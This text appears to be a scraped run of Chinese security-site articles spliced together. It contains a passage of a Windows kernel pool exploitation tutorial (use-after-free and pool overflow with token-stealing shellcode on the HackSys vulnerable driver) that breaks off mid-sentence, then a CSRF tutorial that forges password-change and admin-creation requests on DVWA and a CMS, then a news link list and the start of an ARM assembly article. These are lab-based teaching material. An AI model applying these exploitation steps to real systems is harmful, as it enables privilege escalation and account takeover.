查看函数后可知,其尝试通过create函数调用加载到UAF对象的前四个字节的函数指针。


【技术分享】Windows内核池漏洞利用技术

在1处,其确保P包含指向对象的指针,且不是空指针。然后其将前四个字节的内存加载到eax中,并在2处确保其不是空字节。如果这两个检查都成功,则在3处进行回调。

敲定所需的IOCTL代码为我们提供了我们需要的三种IOCTL代码。


【技术分享】Windows内核池漏洞利用技术

编写崩溃PoC

为了可靠地检测是否已发生UAF,我使用了一些Windows内核池调试功能。在这种情况下,使用以下命令启用HackSysExtremeVulnerableDriver的专用池。

【技术分享】Windows内核池漏洞利用技术

如果这成功运行,我们应会看到以下输出。


【技术分享】Windows内核池漏洞利用技术

当启用了特殊池的二进制程序调用ExAllocatePoolWithTag函数时,其将使用ExAllocatePoolWithTagSpecialPool函数来分配内存,而不是遵循其标准逻辑。如下所示。


【技术分享】Windows内核池漏洞利用技术

ExFreePoolWithTag函数具有匹配的逻辑。特殊池作为由单独的内存页支持的文字分离内存池工作。特殊池有一些不同的选项。默认情况下,其处于验证结束模式,简言之,这意味着由驱动程序所作的所有分配被放置在尽可能靠近内存页末尾处,后续和之前页面被标记为不可访问。这意味着,如果驱动程序尝试在分配结束后访问内存,将会触发错误。此外,页面上未使用的内存用特殊模式标记,因此如果这些内存损坏,则该内存释放后可检测到错误。

此外,特殊池将标记其释放的内存,并尽可能长时间地避免重新分配该内存。如果释放的内存被引用,其将触发错误。这会对驱动程序产生巨大的性能影响,因此其只在调试内存问题时启用。

在特殊池为启用状态下,我们可以为此漏洞创建一个简单的崩溃概念证明。下面的代码将创建UAF对象、释放该对象,然后导致其被引用。如果驱动程序引用释放的内存,这应该因特殊池调试功能而触发蓝屏。


【技术分享】Windows内核池漏洞利用技术

现在编译并运行,然后...


【技术分享】Windows内核池漏洞利用技术

使用附带的内核调试器重新启动系统,重新启用特殊池并重新运行PoC,这样我们可以确认崩溃是否由被引用的释放的内存引起。


【技术分享】Windows内核池漏洞利用技术
!analyze -v输出立即告诉我们,崩溃可能是由被引用的释放的内存引起的,进一步查看分析输出可知,崩溃指令是之前在调用UAF对象回调函数的IOCTL中看到的push [eax]指令。
【技术分享】Windows内核池漏洞利用技术

检查驱动程序尝试再次访问的内存地址的池详细信息后确认,内存可能之前已被释放。


【技术分享】Windows内核池漏洞利用技术

将其转化为利用方法

有了崩溃后,我们需要用可让我们在引用时实现代码执行的东西代替对象使用的内存。通常,我们必须寻找一个适当的对象,并可能使用一个基本的原语来让我们获得一个我们可以用于提升我们的权限的更有用的原语。不过幸运的是,HackSys驱动程序有一个让这更容易的函数。日志消息****** HACKSYS_EVD_IOCTL_CREATE_FAKE_OBJECT ******之后暴露的函数可以实现我们需要的功能。

【技术分享】Windows内核池漏洞利用技术

查看函数实现后可知,其分配0x58字节的数据,然后检查分配是否成功。


【技术分享】Windows内核池漏洞利用技术

一旦其分配了所需的内存,其便将数据从IOCTL输入缓冲区复制到其中。


【技术分享】Windows内核池漏洞利用技术

在1处,指向分配的内存的指针为ebx,在2处,其验证从输入缓冲区读取数据是否是安全的,然后在3处,其在返回之前将0x16, 4字节块从输入缓冲区复制到新分配的内存中。

伪分配的对象与我们可以释放并导致被引用的对象大小相同,这一事实是理想的场景。通过使用先前描述的内核池按摩技术,我们可以导致伪对象分配到UAF对象的地址。通过加载一个指向伪对象开头的某些令牌窃取shellcode的指针,我们可以触发使用UAF对象IOCTL代码处理程序,从而使驱动程序执行我们的payload。

与我在池风水示例中使用的Event对象不同,UAF对象不是0x40字节,所以我们将使用Reserve对象,因为我们早先发现,当包括8字节POOL_HEADER时,这些是匹配0x58字节的UAF对象的内存中的0x60字节。首先,我们需要添加以下header。


【技术分享】Windows内核池漏洞利用技术

接下来,我们添加以下代码来执行实际的池风水,这将填充任何现有的空闲0x60字节区域,然后创建一个分配和空闲的0x60字节块的模式。


【技术分享】Windows内核池漏洞利用技术

现在我们可以强制我们的伪对象分配到我们需要制作伪对象的UAF对象之前所在的位置。我们首先将本系列前面部分中使用的令牌窃取器添加到我们的用户空间代码中。


【技术分享】Windows内核池漏洞利用技术

接下来我们来创建我们的伪对象,我们知道其需要是0x58字节,前四个包含一个函数指针,其余的字节我们不关心。将函数指针设置为我们的令牌窃取shellcode的地址后,其将在驱动程序引用我们的伪对象并触发其所认为的原始对象回调时执行。这紧随用于释放UAF对象的DeviceIOControl调用。


【技术分享】Windows内核池漏洞利用技术

我创建了0x250的伪对象,用于填充我们之前创建的所有间隙。另外,我们需要在我们文件的顶部定义HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT。


【技术分享】Windows内核池漏洞利用技术

最后一些清理代码和调用系统启动calc.exe适合代码的末尾。


【技术分享】Windows内核池漏洞利用技术

构建然后运行代码(特殊池为禁用状态)给我们提供了一个作为SYSTEM运行的良好计算器。


【技术分享】Windows内核池漏洞利用技术

漏洞利用的最终/完整代码见Github。


HackSysTeam极其脆弱的驱动程序池溢出

触发驱动程序池溢出漏洞的IOCTL代码很容易找到,****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******记录后随即进行的函数调用是明显的目标。

【技术分享】Windows内核池漏洞利用技术

查看处理程序函数后可知,其在非分页池上进行大小为0x1F8字节的池分配(edi 在函数的开始与自身xor)。


【技术分享】Windows内核池漏洞利用技术

如果分配成功,则处理程序将数据从用户提供的缓冲区复制到池中。然而,复制的数据量由IOCTL中提供的大小控制。


【技术分享】Windows内核池漏洞利用技术

这意味着,如果一个调用者提供的长度大于0x1F8个字节,就会发生越界写入,这也可称为池溢出。我们将再次启用特殊池,从而使触发漏洞更容易。


【技术分享】Windows内核池漏洞利用技术

以下代码将提供一个IOCTL请求,其将在池分配结束后写入4个字节,这应该导致其访问标记为不可访问的页面,并导致系统蓝屏。


【技术分享】Windows内核池漏洞利用技术

编译然后运行,我们得到了我们想要的。


【技术分享】Windows内核池漏洞利用技术

调试崩溃后可以看到,和预期的一样,驱动程序尝试在分配结束后写入。


【技术分享】Windows内核池漏洞利用技术

查看崩溃详情后可知,其是在我们之前在HACKSYS_EVD_IOCTL_POOL_OVERFLOW处理程序中看到的rep movs指令处崩溃。


【技术分享】Windows内核池漏洞利用技术

检查损坏的内存地址后可以看到,和预期一样,一连串0x41字节后是无法访问的内存。


【技术分享】Windows内核池漏洞利用技术

池溢出池风水

与UAF利用一样,我们需要能确保我们的内存在分配时位置正确。在这种情况下,我们要确保另一个对象在内存中紧随其后。这一次,我们分配的内存大小为0x200字节(0x1F8 + 8字节header),Reserve对象分配总大小为60个字节,这太小,并清楚地分开了我们想使其不切实际的数量,但是,我们之前看过的Event对象是0x40字节的分配。这一清楚的划分分配到8是理想的。

为了修整堆,这次我们再次使用Event对象对其进行碎片整理,然后我们将分配大量连续的Event对象,并以8个块的形式释放它们。这应该使我们获得分配200字节的模式,然后分配非分页池内存。下面的代码在触发调试器中断之前执行池修饰,这样我们可以检查它是否有效。


【技术分享】Windows内核池漏洞利用技术

这个运行后我们便可看到打印的指针值,然后按下Enter键触发断点。


【技术分享】Windows内核池漏洞利用技术

在内核调试器中,我转储了句柄信息以获取对象的详细信息。


【技术分享】Windows内核池漏洞利用技术

查看对象分配周围的池内存,可以看到一个很好的重复模式——8个分配的事件对象,随后是8个空闲的事件对象,与计划的完全一致。


【技术分享】Windows内核池漏洞利用技术

现在我们可以触发我们的溢出,40字节的Event对象肯定将跟随我们控制的内存,所以我们可以开始整合利用方法。


池溢出利用第一回合

现在我们可以可靠地覆盖一个Event对象的header,我们需要实际覆盖一些东西。我将使用两种不同的方法,一种是最初在“Windows 7 内核池利用”中讨论的,另一种是在“纯数据Pwning微软Windows内核:微软Windows 8.1内核池溢出利用”中讨论的。首先,我将使用Object Type索引覆盖技术。

如Code Machine博文中所述,Windows内核内存中的每个对象都由几个结构以及对象结构本身组成。第一个是我们之前讨论的POOL_HEADER结构。以下是一个Event对象的例子,这次我们不会破坏该结构,所以当我们在内存中进一步重写另一个结构时,我们将重用我们的利用方法中的值,以使其保持原样。


【技术分享】Windows内核池漏洞利用技术

接下来有一个或多个可选结构,存在哪些可选结构可通过查看出现在实际对象OBJECT_HEADER之前的最后一个结构找到。来自Event对象的示例OBJECT_HEADER布局如下所示:


【技术分享】Windows内核池漏洞利用技术

InfoMask字段只有0x8位设置,这意味着,如Code Machine文章中所述,池header和对象header之间的唯一可选结构是OBJECT_HEADER_QUOTA_INFO。该文章还告诉我们,其大小为0x10字节,所以我们可以通过回看0x10字节在内存中查看它。


【技术分享】Windows内核池漏洞利用技术

OBJECT_HEADER结构是我们将破坏的结构,所以当我们覆盖这个结构时,我们将使用其默认值使其保持原样。

OBJECT_HEADER结构包含用于管理对象的对象元数据,用于指示可选header、存储调试信息等。如Nikita的幻灯片中所述,该header包含“TypeIndex”字段,这用作ObTypeIndexTable(用于存储指向OBJECT_TYPE结构的指针,这些结构提供有关每个内核对象的重要细节)的索引。查看Windbg中的ObTypeIndexTable,我们可以看到条目。


【技术分享】Windows内核池漏洞利用技术

将条目0xc视作OBJECT_TYPE结构使我们获得以下内容:


【技术分享】Windows内核池漏洞利用技术

所以我们肯定有正确的对象类型,但没有什么可以明显让我们实现代码执行。进一步查看结构后我们看到TypeInfo字段,在windbg中更仔细检查该字段后发现了一系列很好的函数指针。


【技术分享】Windows内核池漏洞利用技术

这意味着正根据结构跳转到函数。如果我们可以控制其中的一个,我们应该能够让内核在我们选择的地址处执行shellcode。通过回看可以看到, ObTypeIndexTable的第一个条目是一个NULL指针,所以我们用0覆盖OBJECT_HEADER中的TypeIndex字段,然后,当内核尝试执行时,内核应该尝试从NULL页面读取函数指针。因为我们是在Windows 7 32位上执行此操作,所以我们可以分配NULL页,从而可以控制内核执行跳转到的位置,这样我们便可使用与我之前所用相同的shellcode来提升我们的权限。

现在我们要覆盖TypeIndex字段,保持缓冲区末尾和和Event对象之间的所有其他字段不变。我们从增加我们之前使用的InBuffer的大小开始。额外的0x28字节将覆盖POOL_HEADER(0x8字节)、OBJECT_HEADER_QUOTA_INFO(0x10字节)及OBJECT_HEADER,直到并包括TypeIndex(0x10字节)。


【技术分享】Windows内核池漏洞利用技术

首先,我们使用之前看到的默认值覆盖POOL_HEADER和OBJECT_HEADER_QUOTA_INFO结构。


【技术分享】Windows内核池漏洞利用技术

最后,我们覆盖了OBJECT_HEADER结构,主要使用其默认值,但TypeIndex值设置为0。


【技术分享】Windows内核池漏洞利用技术

现在让我们运行代码(确保特殊池已禁用),我们应该会得到因内核尝试在地址0x0处访问OBJECT_TYPE结构而导致的崩溃。我立即在我附带的调试器中获得了一个BugCheck,在发生异常的时候查看指令和寄存器,我们看到的正是我们所希望的。


【技术分享】Windows内核池漏洞利用技术

一个名为ObpCloseHandleTableEntry的函数在尝试从ebx+0x74读取内存时出错(ebx为0)。这应对应于OBJECT_TYPE结构中的DeleteProcedure条目(如果其按照计划从NULL页读取)。现在我们只需要使用与本系列中之前使用的相同的方法分配NULL页,并设置一个函数指针偏移量,以指向我们的令牌窃取shellcode。

在main的开始添加了以下代码,以分配NULL页。


【技术分享】Windows内核池漏洞利用技术
成功分配NULL页后,我们只需要放置一个指向我们的shellcode的指针,以代替其中一个函数指针。我尝试在每个函数的偏移量处放置一个shellcode指针,发现Delete、OkayToClose及Close程序会导致shellcode以一种直接的方式被执行。我决定覆盖Delete程序,因为b33f使

【技术分享】CSRF 攻击场景分析与重现学习

$
0
0
【技术分享】CSRF 攻击场景分析与重现学习

2017-07-06 10:29:17
阅读:161次
点赞(0)
收藏
来源: 安全客






【技术分享】CSRF 攻击场景分析与重现学习

学习概要

通过本篇文档我们可以更为接近实战的去学习和了解什么是CSRF漏洞、CSRF漏洞是到底如何产生的、在实际场景中被利用是如利用,以及一些在web安全测试用常用插件与工具的使用和技巧。本篇文稿中给出了两个场景的CSRF漏洞的利用过程复现:

(1)密码修改过程中产生的CSRF漏洞和利用

(2)后台管理添加过程中产生的CSRF漏洞和利用

文稿最近简单的罗列了下当前常用的避免csrf漏洞产生的方法和措施。


1、CSRF 基本概念

CSRF(Cross-site request forgery)跨站请求伪造,黑客利用已经登录的用户,诱使其访问或者登录某个早已构造好的恶意链接或者页面,然后在用户毫不知情的情况下,以用户的名义完成了非用户本意的非法操作。这种攻击我们也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用行为。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

【技术分享】CSRF 攻击场景分析与重现学习

2、CSRF 学习理解

其实一个CSRF漏洞攻击的实现,其需要由“三个部分”来构成。

(1) 有一个无需后台验证的前台或后台数据修改或新增请求的漏洞存在;

(2) 伪装数据操作请求的恶意链接或者页面;

(3) 诱使用户主动访问或登录恶意链接,触发非法操作;

2.1 第一部分:漏洞的存在

关键字:跨站请求漏洞存(CSR:Cross Site Request)

如果需要CSRF攻击能够成功,首先就需要目标站点或系统存在一个可以进行数据修改或者新增操作,且此操作被提交后台后的过程中,其未提供任何身份识别或校验的参数。后台只要收到请求,就立即下发数据修改或新增的操作;

以上漏洞情况的存在,出现比较多的场景有用户密码的修改、购物地址的修改或后台管理账户的新增等等操作过程中。

2.2 第二部分:漏洞利用的伪装

关键字:伪装请求(F:forgery)

CSRF漏洞存在了,如果需要真正的被利用,还需要对“修改或新增”数据操作请求的伪装,此时恶意攻击者只要将伪装好的“数据修改或新增”的请求发送给被攻击者,或者通过社工的方式诱使被攻击者在其cookie还生效的情况下点击了此请求链接,即可触发csrf漏洞,成功修改或新增当前用户的数据信息,如修改当前用户的密码、又或者是当前用户为后台管理员,触发漏洞后新增了一个后台管理员。

2.3 第三部分:用户非本意的操作

关键字:非本意操作

当前用户在不知情的情况下,访问了黑客恶意构造的页面或在链接,即在非本意的情况下完成黑客想完成的“非法操作”,实现了对当前用户个人信息的恶意操作。

2.4 CSRF 漏洞理解小结

小结:构造一个恶意链接或者html页面

说一千道一万,我们要明白“CSRF漏洞的目的”是什么,其实就是利用已存在的漏洞构造了一个“恶意链接”或“html页面”,然后诱使用户点击触发此漏洞。

那么说的再明白点,就是被检测的目标站点存在一个漏洞(CSRF),攻击者利用此类漏洞伪装了一个链接或者html页面,诱使被攻击者在登录的情况下(即当前cookie有效的情况下)点击了此伪装请求,随后在用户不知情的情况下完成了对当前用户数据的修改或者新增操作,而被修改的信息可能是用户的密码、关键信息又或者新增后台管理员等。


3、CSRF 场景重现

以上说了这么多,都是在说基本概念的理解,接下来我会带着大家一起在实际中看看CSRF漏洞比较容易出现的地方,我们是如何一步一步发现这个漏洞和怎么利用它的,请大家屏住呼吸跟我来吧...

注:本篇文档主要给大家带来两个场景利用分析与学习。

3.1 密码修改之 CSRF 漏洞场景重现

有关于CSRF漏洞特别容易出现的地方就是有关用户信息数据修改的地方了,其中在一些商城网站平台出现最多的有用户密码的修改、邮寄地址的修改和账户转账等处,这里我们以用户密码修改为例,带着大家一起看看CSRF漏洞的产生过程以及怎么构造恶意链接和html页面。

为了大家自己动手练习,这以DVWA演练平台为演示环境,来跟大家一起学习下CSRF之用户密码修改漏洞的始末。

3.1.1 DVWA 漏洞环境搭建

有关于DVWA漏洞平台的搭建,这里不做过多的说明,具体内容大家可以参加网上的文章,参考搭建,这里给出相关参考链接。

参考链接:http://www.CodeSec.Net/sectool/102661.html

DVWA环境准备好后,我们即可直接输入用户名密码登录平台进行演练。(默认账号密码:admin/passowrd)


【技术分享】CSRF 攻击场景分析与重现学习

3.1.2 CSRF 漏洞之密码修改过程

我这里使用DVWA 的low 级别中的CSRF漏洞之密码修改,带着大家一起看看漏洞到底是什么样子的,首先先我们先看看存在CSRF漏洞环境下,密码的修改过程是怎样的。

(1) 进入密码修改界面

我们直接登录DVWA平台后,设置当前演练等级security=low级别,点击CSRF来到修改密码的操作界面;


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

(2) 修改当前用户admin密码

来到用户名密码修改界面后,我们发现当前修改页面操作很简单,直接输入新密码,做两次确认输入提交即可,无任何其他限制和要求;


【技术分享】CSRF 攻击场景分析与重现学习

(3) 密码修改后登陆确认

我在修改完用户名密码后,直接登出平台,做一次重新登陆,验证下用户密码是否修改成功。(这里我把表单passowrd字段的类型“password”去掉后,可以直接看到当前用户名密码的明文为123,点击提交后成功登陆,说明密码修改成功。)


【技术分享】CSRF 攻击场景分析与重现学习

3.1.3 CSRF 漏洞之发现分析

接下来我们通过专业的抓包工具,分析下密码修改过程中,数据的请求与提交过程,我们具体做了哪些动作。

3.1.3.1 burpsuite 抓包分析

(1)工具准备

firefox 浏览器

代理插件foxyproxy

burpsuite 工具箱

firefox火狐浏览器没什么可说,burpsuite 抓包工具,同样大家肯定都是耳熟能详的,如果有不太了解的,建议大家还是找些资料去学习下,此工具应该是搞web安全人员的随身必备工具。

(2) foxyproxy 代理插件配置

这里只简单的说下有关foxyproxy插件配置,我们直接去firefox插件扩展中进行搜索,下载安装即可,配置也比较简单。只要右击菜单栏中foxyproxy图标,选择“选项” - 选择工作模式“为全部URLs启用代理服务器” - 选中“默认代理” - 点击“编辑选中项目” - 添加代理的“IP地址”与“端口”即可。

以后每次使用代理时,只需要简单选择下配置选项即可,简单好用,推荐使用。


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

(3) burpsuite 抓包详解

OK,废话不多说,工具准备好了,咱们进入正题吧。

首先我们开启代理配置,打开burpsuite抓包工具,开启拦截模式,正式进行抓包模式。


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

通过burpsuite的抓包分析,我们可以发现整个修改密码的过程中,请求数据包中只携带了两个关键性的参数:

密码修改的3对 key:value值:password_new、password_conf、Change

当前用户的cookie值:phpSESSID、Security

除此以外,整个密码修改的请求数据包中再也没有任何其他可以证明或者校验客户端请求的内容了,也就是因为没有任何其他的校验的存在,为黑客后续“跨站请求伪造”提供了可乘之机,也是漏洞产生的主要原因。

3.1.3.2 tamper data 抓包分析

当然除了是使用burpsuite抓包工具以为,我也可以使用其他的工具进行web请求内容的抓包与分析,这里简单在给大家分享一个使用 tamper data插件抓包改包的分析工具。

(1) 工具准备

firefox 浏览器

tamper data 扩展插件

(2) tamper data 改包插件安装

tamper data 抓包改包工具,也是firefox浏览器扩展插件之一,故我们只要去扩展插件中搜索下载安装即可。

(3) tamper data 抓包分析


【技术分享】CSRF 攻击场景分析与重现学习

3.1.4 CSRF 漏洞利用

3.1.4.1 恶意链接伪造

对于挖掘目标站点存在密码修改的csrf漏洞后,我们如何利用它就是关键了,最简单的方法就是使用burpsuite抓包后,提取密码修改操作的GET请求的URL,然后通过相应的处理后,结合社工的方法诱骗他人点击链接,修改他人的账号密码信息,有关具体操作参见如下。

(1) 截断请求包,提取URL请求


【技术分享】CSRF 攻击场景分析与重现学习

URL提取值:http://www.dvwa.com/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change

(2)URL 链接伪装

在提起到存在csrf漏洞的URL请求后,我们可以直接把此URL进行缩短处理,进行简单的伪装处理后,结合社工的方法诱使被攻击对象点击触发漏洞利用。


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

3.1.4.2 恶意html表单伪造

伪造一个html页面相对上面简单的伪装一个链接来说,相对就更显高高级了,使用起来也更专业了,相对成功率也更高。这里收简单的描述下伪造html也的过程,后面会贴出每一步的具体操作。

第一步:提取密码修改的URL请求;

第二步:依照URL请求的格式,伪造一个form表达;

第三步:诱使被攻击者点击恶意的html连接;

(1) 提取密码修改的URL请求

我们可以借助抓包工具burpsuite抓取密码修改操作的数据包,分析数据包的请求内容。


【技术分享】CSRF 攻击场景分析与重现学习

(2) 伪造form 表单

在分析修改密码数据请求内容后,我们可以手动构造一个简单的html表单页面,为csrf攻击做好准备;


【技术分享】CSRF 攻击场景分析与重现学习

(3) 诱使被攻击者点击恶意html链接

我们将构造好的html表单页面放到一个网上,然后通过社工的方式发送给被攻击者,诱使他访问此恶意页面出发“账号密码修改操作”。


【技术分享】CSRF 攻击场景分析与重现学习

3.1.5 CSRF 密码修改漏洞小结

CSRF密码修改漏洞小结:通过上面的分析与学习的展开,我们可以发现这种场景漏洞的存在,其实比较好发现。其他特点就是“用户密码的修改无任何的条件限制与校验机制”。

3.2 后台管理员新增之 CSRF 漏洞重现

我们在做渗透测试时,也会经常进行一些CMS系统的“黑盒测试”,就是自己搭建目标系统的CMS系统,然后本地进行前台和后台的所有功能安全测试,挖掘可能存在的漏洞。其中我们对于“后台账号的添加系统管理员”一项操作,进行csrf漏洞的挖掘就很有必要,如果我能够挖掘出此漏洞,我们就可以构造恶意的html表单页面对真是的目标“CMS系统”进行攻击,为我们在真实的目标系统上添加一个后台管理员,拿下其后台管理权限,为进一步的渗透打开大门。接下来的漏洞复现,就以一个小众的CMS系统进CSRF 添加后台管理账号漏洞的复现。

3.2.1 环境准备

phpstudy web容器环境准备

burpsuite 抓包工具

lvyecms 系统下载

3.2.2 phpstudy web容器环境

有关于phpstudy web容器环境的搭建,这里不做过多的说明,因为真的很简单,大家直接下载默认安装即可使用。

下载地址:

3.2.3 burpsuite 抓包工具

burpsuite 抓包工具与代理插件的使用,可参加上面的3.1章节的内容,这里也不在重复说明了。但是多说一句burpsuite 工具箱真的很强大,强烈建议大家拥有,后面还还给大家演示怎样使用burpsuite进行一键构造一个csrf 的POC表单,我也是刚刚学会的,后面演示复现时会分享给大家。

3.2.4 lvyecms 环境搭建

3.2.4.1 解压源码包

在phpstudy web容器环境准备好后,我们直接将lvyecms源码包解压重新命名(lvyecms),然后将解压包复制到phpstudy主目录下的WWW文件夹下即可。


【技术分享】CSRF 攻击场景分析与重现学习

3.2.4.2 站点域名设置

为了后续的对测试环境的访问,我简单的设置下“站点域名设置”,具体设置如下。

选择“其他选项菜单” - “站点域名管理” - 添加“网站域名” www.lvye.com - 设置“网站目录” E\phpstudy\www\lvyecms,然后点击新增,最后保存设置重启服务。


【技术分享】CSRF 攻击场景分析与重现学习

3.2.4.3 配置hosts主机解析文件

我直接进入目录“C:\windows\System32\drivers\etc”找到hosts文件,在文件中添加一条解析记录

127.0.0.1 www.lvye.com ,然后保存即可。(注意以管理员权限打开文件才能修改成功)


【技术分享】CSRF 攻击场景分析与重现学习

3.2.5 后台管理添加过程测试

(1) 进入添加后台管理员界面


【技术分享】CSRF 攻击场景分析与重现学习

(2) 添加后台管理员test


【技术分享】CSRF 攻击场景分析与重现学习

(3) 确认管理员添加情况


【技术分享】CSRF 攻击场景分析与重现学习

3.2.6 CSRF 漏洞发现分析

通过以上三步简单的操作,我们即可完成一个后台管理员账号的授权添加,并没发现什么异常,接下来我们将使用burpsuite进行抓包分析下正添加管理账号的请求过程中是否存在未对用户做除cookie以外的有效身份验证操作。

(1) 配置好firefox 代理设置安全漏洞。

(1) 配置好firefox 代理设置

有关firefox浏览器中foxyproxy代理设置插件的使用,请参加3.1章节内容。


【技术分享】CSRF 攻击场景分析与重现学习

(2) 开启burpsuite 数据包代理截断


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

(3) 请求包抓包分析

通过抓包分析可以看到,在我们进行后台超级管理员添加的过程发送出去的请求只包两类关键信息:

包含了当前用户的cookie值

添加管理员相关信息参数;

除去以上两个信息再无其他任何对当前用户身份进行有效校验的信息。因此,推断此处添加管理员的操作可能存在csrf漏洞。

(4) 直接构造get类型的csrf恶意链接

构造方法比较简单,我们直接在burpsuite 截断数据出右击鼠标,选择“”,随后右击鼠标“copy url”即可获取一个完整的get类型的“添加管理操作”的URL请求;


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

通过验证,发现构造的get类型csrf恶意链接并不能添加管理员,由此可以推断index.php脚本中可能对于数据请求的类型做了限制,只接受post类型的数据提交。

(5) 构造post类型的html页面

这里分析给大家一个我也是刚刚学习到一个使用burpsuite直接构造csrf表单poc的方法。我们直接右击数据包截断页面,选择“Engagement tools”-“Generate CSRF PoC”,即可获取一个csrf的表单poc。


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

(6) 构造csrf html表单验证

随后我们将获取的表单内容复制到一个csrf.html文档中保存,并将此csrf.html发布到站点中(这里我就直接将poc房子lvye.com站点主目录中),随后就是想办法通过社工的方式诱使管理员访问此恶意页面,触发管理添加的操作。(当然我们这里只是简单的给大家演示了利用过程,实际的社工内容是怎样的,大家各自打开脑洞吧...)具体漏洞利用过程,基本演示如下。


【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

【技术分享】CSRF 攻击场景分析与重现学习

4、CSRF 漏洞防护

其实现在有关CSRF漏洞防护已经是比较成熟了,其主要防护的思路就是需要在进行后台数据修改操作的过程中,添加对当前用户身份的有效验证措施,而不能仅限于cookie的识别,这里简单的罗列了下防护措施如下。

(1) 来源校验

使用http请求头中referer来源,对客户端源进行身份校验,此方法早期使用比较多,但是仍然容易被绕过,所以这里并不建议使用。

(2) 用户token 校验

添加基于当前用户身份的有效tokens随机验证机制,即在向后端提交数据操作请求时,添加基于当前用户的随机token校验值,此种校验方法当前使用比较多;

(3)当前用户密码验证

在修改关键信息时,要钱当前用户输入其自身的密码,以验证当前用户身份的真伪,防止未授权的恶意操作;

(4)添加验证机制

在请求数据的提交前,需填写验证码信息提交,以增加对用户来源的有效验证,防止恶意未授权的操作产生。




【技术分享】CSRF 攻击场景分析与重现学习
【技术分享】CSRF 攻击场景分析与重现学习
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4068.html

【知识】7月6日 - 每日安全知识热点

$
0
0
【知识】7月6日 - 每日安全知识热点

2017-07-06 10:21:02

阅读:287次
点赞(0)
收藏
来源: 安全客





【知识】7月6日 - 每日安全知识热点

作者:adlab_puky





【知识】7月6日 - 每日安全知识热点

热点概要:对MEDoc后门的进一步分析、owasp移动安全测试指南pdf版、如何使用ZIP bomb来保护网站(填充大文件的gzip)、川普僵尸:“以川普之名”发动攻击的新型物联网僵尸、linux kernel addr_limit bug / exploitation、php 小于 5.6.28 中parse_url解析返回错误的hostname、关于threathunter社区的"蠕虫"发现过程


资讯类:

研究人员构建防火墙阻止SS7攻击

https://www.darkreading.com/mobile/researchers-build-firewall-to-deflect-ss7-attacks/d/d-id/1329272


技术类:

owasp移动安全测试指南pdf版

https://www.gitbook.com/download/pdf/book/b-mueller/the-owasp-mobile-security-testing-guide


如何使用ZIP bomb来保护网站(填充大文件的gzip)

https://blog.haschek.at/2017/how-to-defend-your-website-with-zip-bombs.html


川普僵尸:“以川普之名”发动攻击的新型物联网僵尸

http://mp.weixin.qq.com/s?timestamp=1499303632&src=3&ver=1&signature=HNE3mmvwyg4LnC*nFNwTmCUR684HmwdOGjuBIZPwJfkFIyTmVJXZB5GWnKaSxyhpIQXyE01P-OYUpcCStDvy2WV4FTdwADmuPIASsTzu*Zl1hl2WwROsSs4H1S5QIFdE27QQZG9mWS2MhfA7c3D9*GifL3*vVag5AJhNAzOra5Y=


老听别人说加密算法,现在给你个机会深入了解下

http://www.CodeSec.Net/articles/database/138734.html


从制作一个“微信多开版”看微信安全

https://segmentfault.com/a/1190000010059631


Hardware Forensic Database

http://hfdb.io


Zeus:AWS 审计和加固工具

https://github.com/DenizParlak/Zeus


PSAttack:一个包含所有的渗透测试的powershell脚本框架

http://pentestit.com/psattack-offensive-powershell-console/


Linux kernel addr_limit bug / exploitation

https://www.youtube.com/watch?v=UFakJa3t8Ls


VirtualAPK:Android上强大而轻便的插件框架。可以动态加载和运行apk。

https://github.com/didi/VirtualAPK


研究人员构建防火墙阻止SS7攻击

https://www.darkreading.com/mobile/researchers-build-firewall-to-deflect-ss7-attacks/d/d-id/1329272


SLocker 移动端勒索软件再次出现,界面类似WannaCry

http://blog.trendmicro.com/trendlabs-security-intelligence/slocker-mobile-ransomware-starts-mimicking-wannacry/


对MEDoc后门的进一步分析

http://blog.talosintelligence.com/2017/07/the-medoc-connection.html


TeleDoor的YARA规则

https://github.com/Neo23x0/signature-base/blob/master/yara/crime_teledoor.yar


PHP < 5.6.28 中parse_url解析返回错误的hostname

https://bugs.php.net/bug.php?id=73192


CORS大规模配置错误和检测工具

http://web-in-security.blogspot.de/2017/07/cors-misconfigurations-on-large-scale.html


通过通配符子域来利用配置错误的CORS

http://www.geekboy.ninja/blog/exploiting-misconfigured-cors-via-wildcard-subdomains/


Oracle Advanced Support中的匿名访问sql执行

https://blog.netspi.com/anonymous-sql-execution-oracle-advanced-support/


使用neo4j对Emdivi恶意软件进行聚类

http://blog.jpcert.or.jp/2017/07/clustering-malw-5a14.html


使用XSS攻击CMS(知名cms为例)

http://brutelogic.com.br/blog/compromising-cmses-xss/


YARA 3.6.3发布修复多处bugs

https://github.com/VirusTotal/yara/releases


关于threathunter社区的"蠕虫"发现过程

https://threathunter.org/topic/595356f7690b1b2a52c7a045


LepideAuditor Suite远程代码执行

https://www.offensive-security.com/vulndev/auditing-the-auditor/




【知识】7月6日 - 每日安全知识热点
【知识】7月6日 - 每日安全知识热点
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4067.html

【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

$
0
0
【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

2017-07-06 12:06:18

阅读:477次
点赞(0)
收藏
来源: azeria-labs.com





【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

作者:arnow117





